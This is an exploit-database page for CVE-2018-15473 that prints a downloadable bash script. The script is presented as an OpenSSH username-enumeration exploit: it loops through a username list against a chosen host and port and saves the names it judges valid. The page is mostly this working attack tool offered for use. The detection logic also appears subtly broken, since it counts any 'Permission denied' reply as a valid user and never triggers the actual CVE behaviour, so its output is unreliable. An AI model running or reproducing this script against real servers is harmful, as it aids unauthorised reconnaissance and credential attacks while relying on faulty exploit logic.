Exploit databaseDownload repository ZIP
GH-46b05540024e247dd5362969fcf7aa4f
0xnehru/ssh_enum_vaild
Sources for CVE-2018-15473
41 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
0xnehru/ssh_enum_vaildRevision 620d7d1b56a3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.sh
Shell · 1,654 bytes#!/bin/bash
# CVE-2018-15473: OpenSSH Username Enumeration Bash Script
# OpenSSH Username Enumeration Script by 0xNehru
# Usage: ./exploit <target> <port> <username_file>
# Color codes for formatting output
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
NC='\033[0m' # No Color
# Input validation
if [ "$#" -ne 3 ]; then
echo -e "${YELLOW}Usage: $0 <target> <port> <username_file>${NC}"
exit 1
fi
TARGET="$1"
PORT="$2"
USERFILE="$3"
VALID_USERS_FILE="valid_usernames.txt"
# Check if the target is reachable
nc -z "$TARGET" "$PORT" > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "${YELLOW}[!] Unable to connect to $TARGET on port $PORT${NC}"
exit 1
fi
# Generate a temporary SSH key
KEYFILE=$(mktemp)
ssh-keygen -t rsa -b 1024 -f "$KEYFILE" -N "" -q
# Function to check username
check_user() {
local USER="$1"
# Attempt SSH authentication with the invalid public key
ssh -o BatchMode=yes -o StrictHostKeyChecking=no -p "$PORT" -i "$KEYFILE" "$USER@$TARGET" 2>&1 | grep -q "Permission denied"
if [ $? -eq 0 ]; then
echo -e "${GREEN}[+] Valid username: $USER${NC}"
echo "$USER" >> "$VALID_USERS_FILE"
fi
}
# Main logic: Loop through the username list
echo -e "${YELLOW}[+] Starting SSH enumeration on $TARGET:$PORT...${NC}"
> "$VALID_USERS_FILE" # Clear or create file
while IFS= read -r username; do
if [ -n "$username" ]; then
check_user "$username" &
fi
done < "$USERFILE"
# Wait for all background processes to finish
wait
# Cleanup
rm -f "$KEYFILE" "$KEYFILE.pub"
echo -e "${YELLOW}[+] Enumeration completed. Valid usernames saved in $VALID_USERS_FILE.${NC}"